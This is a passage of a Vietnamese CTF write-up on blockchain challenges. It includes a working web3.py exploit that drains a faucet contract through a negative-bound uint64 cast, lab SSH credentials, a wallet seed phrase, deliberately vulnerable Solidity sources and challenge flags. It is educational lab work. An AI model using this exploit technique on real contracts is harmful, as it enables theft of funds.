require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
```
### Solution
- Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui.
- Trước tiên đọc file `Setup.sol` biết được:
- `TARGET` của mình có 500 `Ether` khởi tạo
- Lấy được flag khi tiền của `TARGET` bị hụt đi 10 `Ether`
- Còn với file `LuckyFaucet`:
- Khai báo hai mức `Bound`, một là max một là min
- Khai báo một hàm `setBounds()` cho phép mình thay đổi `Bound`
- Khai báo hàm `sendRandomETH()`. Hàm này như một cái vòi nước từ túi của `TARGET`, dùng để gửi tiền cho mình nhưng là tiền trong giới hạn `Bound` thôi.
- Qua phân tích trên, cộng với việc hàm `setBounds()` là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy đi `Ether` từ `TARGET`, mà tiền của `TARGET` phụ thuộc vào `Bound` do mình set, vậy nên đây là hướng đi.
- Tất nhiên, câu hỏi sẽ là `Bound` như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi:
```sol
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound)
```
- Mình cần làm sao cho lượng `amountToSend` càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một số `k < 0` ở dạng `uint64`, số trả về sẽ cực lớn, cụ thể là `uint64(k) = 2**64 + k`. Sure về hướng exploit rồi, giờ thì tới code thôi:
```python=
import eth_account
from web3 import Web3
RPC = ''
private_key = ''
address = ''
target_contract_address = ''
w3 = Web3(Web3.HTTPProvider(RPC))
target_contract_abi = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "upperBound",
"outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lowerBound",
"outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "sendRandomETH",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}, {"internalType": "uint64", "name": "", "type": "uint64"}],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [{"internalType": "int64", "name": "_newLowerBound", "type": "int64"}, {"internalType": "int64", "name": "_newUpperBound", "type": "int64"}],
"name": "setBounds",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
my_account = eth_account.Account.from_key(private_key)
w3.eth.default_account = my_account.address
target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi)
target_contract.functions.setBounds(-10000000000000000, 100000000).transact()
tx_hash = target_contract.functions.sendRandomETH().transact()
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction successful")
if w3.eth.get_balance(my_account.address) >= 10 * 10**18:
print("Exploited successfully!")
else:
print("Set bounds again!")
```
(Nhớ thay thế các giá trị vào nha :heart:)
![TARGET](https://hackmd.io/_uploads/BJNSnaZRp.png)
### Flag
> ~~`HTB{1_f0rg0r_s0m3_U}`~~
### Note
- Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu :money_with_wings:
- `10 Ether` tương đương với `10 * 10**18 wei` và tiền giao dịch theo đơn vị `wei` nên có phép so sánh ở dòng 56 kia :moneybag:.
---
## 3. Recovery
### Description
- We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.
- We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?
- Username: satoshi
- Password: L4mb0Pr0j3ct
- NOTE: Network is regtest, check connection info in the handler first.
### Solution
- Đây là chall duy nhất trong Blockchain không cho một file gì :penguin:, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ.
- Mình sẽ phân tích 3 Ports và cách dùng:
- Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum)
- Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài.
- Port 3: Tương tác với server và lấy flag - dùng nc
- Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác):
```
IP: 94.237.50.175
PORT 1: 41769
ssh satoshi@94.237.50.175 -p 41769
L4mb0Pr0j3ct
--------------------------------------------------
PORT 2: 31819
& "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t
--------------------------------------------------
PORT 3: 37501
nc 94.237.50.175 37501
```
- Các bước:
![1](https://hackmd.io/_uploads/HyS1gRb0p.png)
--> Seed: fortune bubble wealth all sure sun awful agree energy possible margin green
![2](https://hackmd.io/_uploads/HJ1YeRZR6.png)
- Nhập vài thông tin linh tinh, chọn `Standard wallet` rồi `I already have a seed`
![3](https://hackmd.io/_uploads/S1gTl0-Aa.png)
- Nhảy ra như thế này là oke
![4](https://hackmd.io/_uploads/SJz1bC-Rp.png)
- Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi
![5](https://hackmd.io/_uploads/Sy0WZAbAp.png)
- Tới đây lấy thông tài tài khoản đích:
--> Address: `bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr`
- Quay lại Electrum và giao dịch
![6](https://hackmd.io/_uploads/SkRLbA-C6.png)
![7](https://hackmd.io/_uploads/H19wb0-CT.png)
![8](https://hackmd.io/_uploads/rkhuWC-Ap.png)
- Rồi back lại server lấy flag là xong
![9](https://hackmd.io/_uploads/SJzjWAZRT.png)
### Flag
> ~~`HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}`~~
### Note
- Bài này mình được `Thụy AT20` support, sau khi làm thì thấy chall chả khác :dog: gì Forensics very easy cả :penguin:
---
## 4. Ledger Heist
### Description
- Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.
- `Errors.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
error NotSupported(address token);
error CallbackFailed();
error LoanNotRepaid();
error InsufficientBalance();
```
- `Events.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface Events {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FlashLoanSuccessful(
address indexed target, address indexed initiator, address indexed token, uint256 amount, uint256 fee
);
event FeesUpdated(address indexed token, address indexed user, uint256 fees);
}
```
- `FixedPointMath.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library FixedMathLib {
function fixedMulFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
return self * b / denominator;
}
function fixedMulCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
uint256 _mul = self * b;
if (_mul % denominator == 0) {
result = _mul / denominator;
} else {
result = _mul / denominator + 1;
}
}
function fixedDivFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
return self * denominator / b;
}
function fixedDivCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
uint256 _mul = self * denominator;
if (_mul % b == 0) {
result = _mul / b;
} else {
result = _mul / b + 1;
}
}
}
```
- `Interfaces.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IERC20Minimal {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IERC3156FlashBorrower {
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data)
external
returns (bytes32);
}
```
- `LoanPool.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";
struct UserRecord {
uint256 feePerShare;
uint256 fees;
uint256 balance;
}
contract LoanPool is Events {
using FixedMathLib for uint256;
uint256 constant BONE = 10 ** 18;
address public underlying;
uint256 public totalSupply;
uint256 public feePerShare;
mapping(address => UserRecord) public userRecords;
constructor(address _underlying) {
underlying = _underlying;
}
function deposit(uint256 amount) external {
address _msgsender = msg.sender;
_updateFees(_msgsender);
IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);
_mint(_msgsender, amount);
}
function withdraw(uint256 amount) external {
address _msgsender = msg.sender;
if (userRecords[_msgsender].balance < amount) {
revert InsufficientBalance();
}
_updateFees(_msgsender);
_burn(_msgsender, amount);
// Send also any fees accumulated to user
uint256 fees = userRecords[_msgsender].fees;
if (fees > 0) {
userRecords[_msgsender].fees = 0;
amount += fees;
emit FeesUpdated(underlying, _msgsender, fees);
}
IERC20Minimal(underlying).transfer(_msgsender, amount);
}
function balanceOf(address account) public view returns (uint256) {
return userRecords[account].balance;
}
// Flash loan EIP
function maxFlashLoan(address token) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return IERC20Minimal(token).balanceOf(address(this));
}
function flashFee(address token, uint256 amount) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return _computeFee(amount);
}
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != underlying) {
revert NotSupported(token);
}
IERC20Minimal _token = IERC20Minimal(underlying);
uint256 _balanceBefore = _token.balanceOf(address(this));
if (amount > _balanceBefore) {
revert InsufficientBalance();
}
uint256 _fee = _computeFee(amount);
_token.transfer(address(receiver), amount);
if (
receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
!= keccak256("ERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
uint256 _balanceAfter = _token.balanceOf(address(this));
if (_balanceAfter < _balanceBefore + _fee) {
revert LoanNotRepaid();
}
// Accumulate fees and update feePerShare
uint256 interest = _balanceAfter - _balanceBefore;
feePerShare += interest.fixedDivFloor(totalSupply, BONE);
emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
return true;
}
// Private methods
function _mint(address to, uint256 amount) private {
totalSupply += amount;
userRecords[to].balance += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) private {
totalSupply -= amount;
userRecords[from].balance -= amount;
emit Transfer(from, address(0), amount);
}
function _updateFees(address _user) private {
UserRecord storage record = userRecords[_user];
uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);
record.fees += fees;
record.feePerShare = feePerShare;
emit FeesUpdated(underlying, _user, fees);
}
function _computeFee(uint256 amount) private pure returns (uint256) {
// 0.05% fee
return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
}
}
```
- `Setup.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";
contract Setup {
LoanPool public immutable TARGET;
Token public immutable TOKEN;
constructor(address _user) {
TOKEN = new Token(_user);
TARGET = new LoanPool(address(TOKEN));
TOKEN.approve(address(TARGET), type(uint256).max);
TARGET.deposit(10 ether);
}
function isSolved() public view returns (bool) {
return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
}
}
```
- `Token.sol`:
```sol=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Events} from "./Events.sol";
contract Token is Events {
string public name = "Token";
string public symbol = "Tok";
uint8 public immutable decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(address _user) payable {
_mint(msg.sender, 10 ether);
_mint(_user, 1 ether);
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function _mint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) private {
balanceOf[from] -= amount;
totalSupply -= amount;
emit Transfer(from, address(0), amount);
}
}
```
### Solution
- Viết thế này thôi chứ mình biết giải :dog: đâu mà :penguin:. Hẹn gặp lại vào một ngày mình lỏ hơn :moneybag:
---
# III. Ending
- Kết thúc giải mình vừa vui vừa tiếc vì không thể clear Crypto sớm mặc dù nó khá dễ, mong sao các giải tiếp theo mình đủ lỏ để solve trong thời gian ngắn hơn như anh Hưng Chiến expect :heart: